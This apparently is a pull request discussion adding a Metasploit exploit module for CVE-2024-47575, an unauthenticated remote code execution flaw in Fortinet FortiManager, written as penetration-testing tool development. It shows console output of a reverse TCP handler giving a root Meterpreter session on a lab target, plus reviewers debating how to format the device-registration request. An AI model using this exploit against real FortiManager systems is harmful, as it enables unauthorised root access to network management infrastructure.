Add an exploit module for FortiManager (CVE-2024-47575)

[sfewer-r7]

This (draft) pull request adds an exploit module for CVE-2024-47575, an unauth RCE in Fortinet FortiManager, due to missing authentication for critical function(s).

For a full technical analysis of the vuln/exploit, please see our AttackerKB Rapid7 Analysis:

To-Do

• Sort out how best to handle certificates. Looks like watchTowr have published a cert/key pair which can probably be used as a default, Found a suitable cert/key pair to use by default, and then we can have a config option so the user can specify a custom cert/key pair if they prefer.
• Review the check routine. Currently it verifies the target service by performing a minimal interaction with a target. It pulls the peers SSL cert and examines the Organization and serial number to see if it looks like a FortiManager device. I wanted to avoid high interaction (like actually triggering the vuln) which would leave IOCs, but the current method can only return CheckCode::Detected.
• Documentation

Example

Target was FortiManager 7.6.0.

msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] 192.168.86.93:541 - Client certificate common name: ****************
[*] 192.168.86.93:541 - Using client serial number: ****************
[*] 192.168.86.93:541 - Using client platform: FortiGate-VM64
[*] 192.168.86.93:541 - Connecting...
[*] 192.168.86.93:541 - Registering device...
[*] 192.168.86.93:541 - Creating channel...
[*] 192.168.86.93:541 - Triggering...
[*] Meterpreter session 5 opened (192.168.86.42:4444 -> 192.168.86.93:61402) at 2024-11-14 18:52:57 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.93
OS           :  (Linux 5.15.109)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

[jvoisin]

I think using a heredoc here will improve readability.

[sfewer-r7]

I like the idea of improving the readability of this, but I would like to be more explicit about the placement of the \r\n delimitators, and a heredoc makes this awkward, for example:

req1 = %Q{get auth\r
serialno=#{serialno}\r
platform=#{platform}\r
hostname=localhost\r
\r
\0}

Perhaps a happy medium is something like this:

req1 = [
  'get auth',
  "serialno=#{serialno}",
  "platform=#{platform}",
  'hostname=localhost',
  "\r\n\x00"
].join("\r\n")

[jvoisin]

Yup, looks better I think!

[adfoster-r7]

Just to throw in votes; I'm in favor of the original as it's more explicit and it's not too hard to grok 😄